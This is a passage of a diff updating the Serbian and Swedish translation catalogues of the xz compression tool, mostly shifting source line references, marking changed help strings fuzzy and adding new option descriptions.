src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Запакивање и распакивање са „--robot“ није још подржано." -#: src/xz/main.c:252 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Не могу да читам податке са стандардног улаза приликом читања назива датотека са стандардног улаза" @@ -484,68 +623,69 @@ msgstr "Не могу да читам податке са стандардног #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:728 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:791 src/xz/message.c:841 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Унутрашња грешка (бубица)" -#: src/xz/message.c:798 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Не могу да успоставим руковаоце сигналом" -#: src/xz/message.c:807 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Нема провере целовитости; не проверавам целовитост датотеке" -#: src/xz/message.c:810 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Неподржана врста провере целовитости; не проверавам целовитост датотеке" -#: src/xz/message.c:817 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Ограничење коришћења меморије је достигнуто" -#: src/xz/message.c:820 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Није препознат формат датотеке" -#: src/xz/message.c:823 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Неподржане опције" -#: src/xz/message.c:826 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Запаковани подаци су оштећени" -#: src/xz/message.c:829 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Неочекиван крај улаза" -#: src/xz/message.c:862 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB меморије је потребно. Ограничавач је онемогућен." -#: src/xz/message.c:890 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB меморије је потребно. Ограничење је %s." -#: src/xz/message.c:1057 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Ланац филтера: %s\n" -#: src/xz/message.c:1067 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Пробајте „%s --help“ за више података." -#: src/xz/message.c:1093 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -556,15 +696,15 @@ msgstr "" "Пакује или распакује ДАТОТЕКЕ у „.xz“ формату.\n" "\n" -#: src/xz/message.c:1100 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "Обавезни аргументи за дуге опције су такође обавезни и за кратке опције.\n" -#: src/xz/message.c:1104 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Режим рада:\n" -#: src/xz/message.c:1107 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -576,7 +716,7 @@ msgstr "" " -t, --test тестира целовитост запаковане датотеке\n" " -l, --list исписује податке о „.xz“ датотекама" -#: src/xz/message.c:1113 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -584,7 +724,7 @@ msgstr "" "\n" " Измењивачи рада:\n" -#: src/xz/message.c:1116 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -595,7 +735,7 @@ msgstr "" " (рас)запакивања\n" " -c, --stdout пише на стандардни излаз и не брише улазне датотеке" -#: src/xz/message.c:1122 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -603,10 +743,18 @@ msgstr "" " --single-stream распакује само први ток, и тихо\n" " занемарује могуће преостале улазне податке" -#: src/xz/message.c:1125 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -620,7 +768,7 @@ msgstr "" " завршавати знаком новог реда\n" " --files0[=ДТТКА] као „--files“ али користи празан знак као завршни" -#: src/xz/message.c:1134 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -628,12 +776,18 @@ msgstr "" "\n" " Основне опције формата датотеке и запакивања:\n" -#: src/xz/message.c:1136 +#: src/xz/message.c:988 +#, fuzzy +#| msgid "" +#| " -F, --format=FMT file format to encode or decode; possible values are\n" +#| " `auto' (default), `xz', `lzma', and `raw'\n" +#| " -C, --check=CHECK integrity check type: `none' (use with caution),\n" +#| " `crc32', `crc64' (default), or `sha256'" msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=ФМТ формат датотеке за кодирање и декодирање; могуће\n" " вредности су „auto“ (основно), „xz“, „lzma“,\n" @@ -641,13 +795,13 @@ msgstr "" " -C, --check=ПРОВЕРА врста провере целовитости: „none“ (користите уз\n" " опрез), „crc32“, „crc64“ (основно), или „sha256“" -#: src/xz/message.c:1141 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr "" " --ignore-check не потврђује проверу целовитости приликом\n" " распакивања" -#: src/xz/message.c:1145 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -656,7 +810,7 @@ msgstr "" " обзир коришћење меморије запакивања *и* распакивања\n" " пре него ли употребите 7-9!" -#: src/xz/message.c:1149 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -665,16 +819,20 @@ msgstr "" " времена процесора; не утиче на потребе меморије\n" " распакивача" -#: src/xz/message.c:1153 +#: src/xz/message.c:1005 +#, fuzzy +#| msgid "" +#| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" +#| " to use as many threads as there are processor cores" msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" " -T, --threads=БР користи највише БР нити; основно је 1; поставите\n" " на 0 за коришћење онолико нити колико има\n" " процесорских језгара" -#: src/xz/message.c:1158 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -685,17 +843,24 @@ msgstr "" " бајта улаза; користите ово да поставите величину\n" " блока за нитирано запакивање" -#: src/xz/message.c:1162 +#: src/xz/message.c:1014 +#, fuzzy +#| msgid "" +#| " --block-list=SIZES\n" +#| " start a new .xz block after the given comma-separated\n" +#| " intervals of uncompressed data" msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" " --block-list=ВЕЛИЧИНА\n" " започиње нови „.xz“ блок након датих зарезом\n" " раздвојених периода незапакованих података" -#: src/xz/message.c:1166 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -708,14 +873,22 @@ msgstr "" " читања још улаза блокираће, сви подаци на чекању се\n" " истискују ван" -#: src/xz/message.c:1172 -#, no-c-format +#: src/xz/message.c:1026 +#, fuzzy, no-c-format +#| msgid "" +#| " --memlimit-compress=LIMIT\n" +#| " --memlimit-decompress=LIMIT\n" +#| " -M, --memlimit=LIMIT\n" +#| " set memory usage limit for compression, decompression,\n" +#| " or both; LIMIT is in bytes, % of RAM, or 0 for defaults" msgid "" " --memlimit-compress=LIMIT\n" " --memlimit-decompress=LIMIT\n" +" --memlimit-mt-decompress=LIMIT\n" " -M, --memlimit=LIMIT\n" " set memory usage limit for compression, decompression,\n" -" or both; LIMIT is in bytes, % of RAM, or 0 for defaults" +" threaded decompression, or all of these; LIMIT is in\n" +" bytes, % of RAM, or 0 for defaults" msgstr "" " --memlimit-compress=ОГРАНИЧЕЊЕ\n" " --memlimit-decompress=ОГРАНИЧЕЊЕ\n" @@ -724,7 +897,7 @@ msgstr "" " запакивање, распакивање, или оба; ОГРАНИЧЕЊЕ је у\n" " бајтовима, % o РАМ, или 0 за основно" -#: src/xz/message.c:1179 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -733,7 +906,7 @@ msgstr "" " коришћења меморије, даје грешку уместо дотеривања\n" " подешавања" -#: src/xz/message.c:1185 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -742,7 +915,27 @@ msgstr "" " Произвољни ланац филтера за запакивање (алтернатива за коришћење\n" " претподешавања):" -#: src/xz/message.c:1194 +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -773,15 +966,28 @@ msgstr "" " depth=БРОЈ највећа дубина тражења; 0=самостално\n" " (основно)" -#: src/xz/message.c:1209 +#: src/xz/message.c:1082 +#, fuzzy +#| msgid "" +#| "\n" +#| " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +#| " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +#| " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +#| " --arm[=OPTS] ARM BCJ filter (little endian only)\n" +#| " --armthumb[=OPTS] ARM-Thumb BCJ filter (little endian only)\n" +#| " --sparc[=OPTS] SPARC BCJ filter\n" +#| " Valid OPTS for all BCJ filters:\n" +#| " start=NUM start offset for conversions (default=0)" msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +" --arm[=OPTS] ARM BCJ filter\n" +" --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +" --arm64[=OPTS] ARM64 BCJ filter\n" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" -" --arm[=OPTS] ARM BCJ filter (little endian only)\n" -" --armthumb[=OPTS] ARM-Thumb BCJ filter (little endian only)\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -796,7 +1002,7 @@ msgstr "" " start=БРОЈ померај почетка за претварања\n" " (основно=0)" -#: src/xz/message.c:1221 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -809,7 +1015,7 @@ msgstr "" " dist=БРОЈ растојање између бајтова који су\n" " одузети из свих других (1-256; 1)" -#: src/xz/message.c:1229 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -817,7 +1023,7 @@ msgstr "" "\n" " Остале опције:\n" -#: src/xz/message.c:1232 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -826,17 +1032,17 @@ msgstr "" " грешке такође\n" " -v, --verbose бива опширан; наведите два пута за још опширније" -#: src/xz/message.c:1237 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn чини да упозорења не делују на стање излаза" -#: src/xz/message.c:1239 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot користи поруке обрадиве рачунаром\n" " (корисно за скрипте)" -#: src/xz/message.c:1242 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -844,7 +1050,7 @@ msgstr "" " --info-memory приказује укупан износ РАМ-а и тренутно активна\n" " ограничења коришћења меморије, и излази" -#: src/xz/message.c:1245 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -853,7 +1059,7 @@ msgstr "" " опције)\n" " -H, --long-help приказује ову дугу помоћ и излази" -#: src/xz/message.c:1249 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -862,11 +1068,12 @@ msgstr "" " -H, --long-help приказује дугу помоћ (исписује такође и напредне\n" " опције)" -#: src/xz/message.c:1254 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version приказује број издања и излази" -#: src/xz/message.c:1256 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -878,31 +1085,46 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1262 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "Грешке пријавите на <%s> (на енглеском или финском).\n" -#: src/xz/message.c:1264 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "„%s“ матична страница: <%s>\n" -#: src/xz/message.c:1268 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "ОВО ЈЕ РАЗВОЈНО ИЗДАЊЕ И НИЈЕ НАМЕЊЕНО ЗА ПРОФЕСИОНАЛНУ УПОТРЕБУ." -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Неподржан ланац филтера или опције филтера" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: Опције морају бити парови „name=value“ раздвојени зарезима" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s: Неисправан назив опције" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s: Неисправна вредност опције" @@ -916,24 +1138,15 @@ msgstr "Неподржано претподешавање „LZMA1/LZMA2“: %s" msgid "The sum of lc and lp must not exceed 4" msgstr "Збир „lc“ и „lp“ не сме премашити 4" -#: src/xz/options.c:359 -#, c-format -msgid "The selected match finder requires at least nice=%" -msgstr "Изабрани налазач поклапања захтева барем „nice=%“" - -#: src/xz/suffix.c:133 src/xz/suffix.c:258 -#, c-format -msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" -msgstr "%s: Са „--format=raw“, „--suffix=.SUF“ је потребно осим ако пише на стандардни излаз" - -#: src/xz/suffix.c:164 +#: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s: Назив датотеке има непознат суфикс, прескачем" -#: src/xz/suffix.c:185 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#: src/xz/suffix.c:186 +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s: Датотека већ има суфикс „%s“, прескачем" #: src/xz/suffix.c:393 @@ -941,45 +1154,106 @@ msgstr "%s: Датотека већ има суфикс „%s“, прескач msgid "%s: Invalid filename suffix" msgstr "%s: Неисправан суфикс назива датотеке" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s: Вредност није не-негативан децимални цео број" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s: Неисправан суфикс умножавача" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "Исправни суфикси су KiB (2^10), MiB (2^20), и GiB (2^30)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "Вредност опције „%s“ мора бити у опсегу [%, %]" -#: src/xz/util.c:267 -msgid "Empty filename, skipping" -msgstr "Празан назив датотеке, прескачем" - -#: src/xz/util.c:281 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "Запаковани подаци се не могу читати из терминала" -#: src/xz/util.c:294 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "Запаковани подаци се не могу писати на терминал" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s: Премало је да би било исправна „.xz“ датотека" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "Писање на стандардни излаз није успело" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Непозната грешка" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Нисам успео да укључим безбедно окружење" + +#~ msgid "Memory usage limit for compression: " +#~ msgstr "Ограничење коришћења меморије за запакивање: " + +#, c-format +#~ msgid " Streams: %s\n" +#~ msgstr " Токова: %s\n" + +#, c-format +#~ msgid " Blocks: %s\n" +#~ msgstr " Блокова: %s\n" + +#, c-format +#~ msgid " Ratio: %s\n" +#~ msgstr " Однос: %s\n" + +#, c-format +#~ msgid " Check: %s\n" +#~ msgstr " Провера: %s\n" + +#~ msgid "" +#~ " Streams:\n" +#~ " Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" +#~ msgstr "" +#~ " Токови:\n" +#~ " Ток Блокови Помезапак Поменезапак Велзапак Велнезапак Однос Провера Попуна" + +#, c-format +#~ msgid "" +#~ " Blocks:\n" +#~ " Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" +#~ msgstr "" +#~ " Блокови:\n" +#~ " Ток Блок Помезапак Поменезапак Велукупн Велнезапак Однос Провера" + +#, c-format +#~ msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" +#~ msgstr " ВреднПров %*s Заглав Заставице Велзапак Коришмемор Филтери" + +#, c-format +#~ msgid "The selected match finder requires at least nice=%" +#~ msgstr "Изабрани налазач поклапања захтева барем „nice=%“" + #~ msgid "Sandbox is disabled due to incompatible command line arguments" #~ msgstr "Безбедно окружење је искључено услед несагласних аргумената линије наредби" diff --git a/po/stamp-po b/po/stamp-po new file mode 100644 index 00000000..9788f702 --- /dev/null +++ b/po/stamp-po @@ -0,0 +1 @@ +timestamp diff --git a/po/sv.gmo b/po/sv.gmo new file mode 100644 index 00000000..65d8ad6f Binary files /dev/null and b/po/sv.gmo differ diff --git a/po/sv.po b/po/sv.po index 478b653f..cfc5708f 100644 --- a/po/sv.po +++ b/po/sv.po @@ -12,7 +12,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-15 21:37+0100\n" "Last-Translator: Anders Jonsson \n" "Language-Team: Swedish \n" @@ -62,8 +62,8 @@ msgstr "Endast en fil kan anges med ”--files” eller ”--files0”." #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -187,16 +187,12 @@ msgstr "Justerade storlek för LZMA%c-lexikon för --filters%u från %s MiB till msgid "Error changing to filter chain %u: %s" msgstr "Fel vid ändring till filterkedja %u: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Fel vid skapande av rörledning: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "Misslyckades med att aktivera sandlådan" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() misslyckades: %s" @@ -211,111 +207,111 @@ msgstr "%s: poll() misslyckades: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Filen verkar ha flyttats, tar inte bort" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Kan inte ta bort: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Kan inte sätta filägaren: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Kan inte sätta filgruppen: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Kan inte sätta filrättigheterna: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Fel vid hämtning av filstatusflaggor från standard in: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Är en symbolisk länk, hoppar över" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Är en katalog, hoppar över" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Är inte en vanlig fil, hoppar över" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Filen har setuid- eller setgid-biten satt, hoppar över" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Filen har stickybiten satt, hoppar över" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Indatafilen har mer än en hårdlänk, hoppar över" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Tomt filnamn, hoppar över" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Fel vid återställning av statusflaggorna för standard in: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Fel vid hämtning av filstatusflaggorna från standard ut: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Fel vid återställning av O_APPEND-flaggan till standard ut: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Stängning av filen misslyckades: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Sökning misslyckades vid skapande av gles fil: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Läsfel: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Fel vid sökning i fil: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Oväntat filslut" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Skrivfel: %s" @@ -576,26 +572,26 @@ msgstr "Pröva ”lzmainfo” med .lzma-filer." msgid "--list does not support reading from standard input" msgstr "--list saknar stöd för att läsa från standard in" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: Fel vid läsning av filnamn: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Oväntat slut av indata vid läsning av filnamn" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Nulltecken hittades vid läsning av filnamn; kanske du menade att använda ”--files0” istället för ”--files”?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Komprimering och dekomprimering med --robot stöds inte än." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Kan inte läsa data från standard in när filnamn läses från standard in" @@ -603,68 +599,68 @@ msgstr "Kan inte läsa data från standard in när filnamn läses från standard #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Internt fel" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Kan inte etablera signalhanterare" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Ingen integritetskontroll; kan inte verifiera filintegritet" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Typ av integritetskontroll stöds inte; verifierar inte filintegritet" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Begränsning av minnesanvändning uppnådd" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Filformat okänt" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Flaggor stöds inte" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Komprimerad data är korrupt" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Oväntat avslut av indata" -#: 